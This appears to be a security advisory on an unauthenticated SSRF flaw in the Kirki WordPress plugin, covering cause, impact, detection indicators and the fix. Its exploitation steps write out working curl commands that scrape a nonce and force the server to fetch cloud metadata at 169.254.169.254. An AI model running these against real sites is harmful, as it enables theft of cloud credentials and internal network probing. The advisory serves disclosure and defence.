CVE-2026-13147: 
WordPress vulnerability analysis and mitigation

CVE-2026-13147 is an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the Kirki WordPress plugin affecting all versions before 6.0.12. The flaw allows unauthenticated attackers to force the WordPress server to issue HTTP requests to arbitrary hosts by supplying an unvalidated URL to the kirki_get_apis AJAX action. It was publicly disclosed on 2026-06-29 and added to the GitHub Advisory Database on 2026-07-20. The CVSS category is estimated as Medium, with an EPSS score of 0.0 at time of publication (WPScan, Github Advisory).

The root cause is improper input validation (CWE-918: Server-Side Request Forgery) in the kirki_get_apis AJAX handler, which accepts a user-supplied elementUrl parameter and passes it directly to WordPress's wp_remote_get() function without any URL allowlist or blocklist enforcement. An attacker first scrapes a guest wp_rest nonce from the window.wp_kirki JavaScript object embedded on any front-end page — no authentication is required. The attacker then sends a crafted GET request to /wp-admin/admin-ajax.php with action=kirki_get_apis, endpoint=get-pre-built-html, and an arbitrary elementUrl value (e.g., http://169.254.169.254/latest/meta-data/), causing the server to fetch that URL using a WordPress User-Agent. The vulnerability was discovered and reported by researcher Emirhan Kurt (WPScan).

Successful exploitation allows an unauthenticated attacker to make the WordPress server issue HTTP requests to any reachable host, including loopback addresses (127.0.0.1), RFC 1918 private ranges, link-local cloud metadata endpoints (169.254.169.254), and arbitrary public hosts. This can expose cloud provider instance metadata (e.g., AWS IMDSv1 credentials), internal services not otherwise accessible from the internet, and backend infrastructure details. The response body is reflected to the attacker only when the target returns Kirki-formatted JSON; otherwise the SSRF is blind, but the outbound request is still issued, enabling port scanning and internal network probing (WPScan, Github Advisory).

1. Reconnaissance: Identify WordPress sites running the Kirki plugin (versions < 6.0.12) using tools like WPScan, Shodan, or by checking /wp-content/plugins/kirki/ for plugin presence.
2. Nonce extraction: Fetch any front-end page of the target site and extract the guest wp_rest nonce from the embedded window.wp_kirki JavaScript object:

   NONCE=$(curl -sk "https://victim.example/" | grep -A8 'window.wp_kirki' | grep -oE 'nonce: "[^"]+"' | grep -oE '[a-f0-9]{10}')

3. Craft SSRF request: Send a GET request to the admin-ajax.php endpoint with the kirki_get_apis action and a malicious elementUrl parameter targeting an internal or metadata endpoint:

   curl -sk -G "https://victim.example/wp-admin/admin-ajax.php" \
     --data-urlencode "action=kirki_get_apis" \
     --data-urlencode "endpoint=get-pre-built-html" \
     --data-urlencode "elementUrl=http://169.254.169.254/latest/meta-data/" \
     -H "X-WP-Nonce: $NONCE"

4. Capture outbound request: Monitor an attacker-controlled listener (e.g., Burp Collaborator, interactsh) to confirm the server issues an outbound HTTP request with a WordPress User-Agent, validating SSRF.
5. Exfiltrate data: If the target returns Kirki-formatted JSON ({"blocks":...,"styles":...,"root":...}), the response body is reflected back to the attacker, enabling data exfiltration from internal services or cloud metadata endpoints (WPScan).

• Network: Outbound HTTP requests from the WordPress server to cloud metadata endpoints (e.g., 169.254.169.254, fd00:ec2::254) or unexpected internal RFC 1918 addresses; outbound requests carrying a WordPress/ User-Agent string to unusual destinations.
• Logs: WordPress access logs showing repeated GET requests to /wp-admin/admin-ajax.php with parameters action=kirki_get_apis and endpoint=get-pre-built-html; presence of an elementUrl parameter pointing to internal or metadata addresses in server access logs.
• Network: Connections to attacker-controlled out-of-band interaction servers (e.g., Burp Collaborator, interactsh domains) originating from the web server process.
• Logs: Web server error logs showing failed connection attempts to internal hosts or unusual DNS resolution requests initiated by the PHP/WordPress process (WPScan).

Update the Kirki WordPress plugin to version 6.0.12 or later, which introduces server-side URL validation to prevent SSRF. If an immediate update is not possible, consider disabling the Kirki plugin or blocking unauthenticated access to admin-ajax.php requests with action=kirki_get_apis via a web application firewall rule. Additionally, restricting outbound HTTP requests from the web server at the network/firewall level (egress filtering) can limit the impact of any SSRF exploitation (WPScan, Github Advisory).

The vulnerability was discovered and responsibly disclosed by researcher Emirhan Kurt (Twitter: @0xF61, website: https://0xf61.gitlab.io/) and verified by WPScan. No significant vendor statements, broader media coverage, or notable community discussion beyond the initial WPScan and GitHub Advisory publications have been identified at this time (WPScan).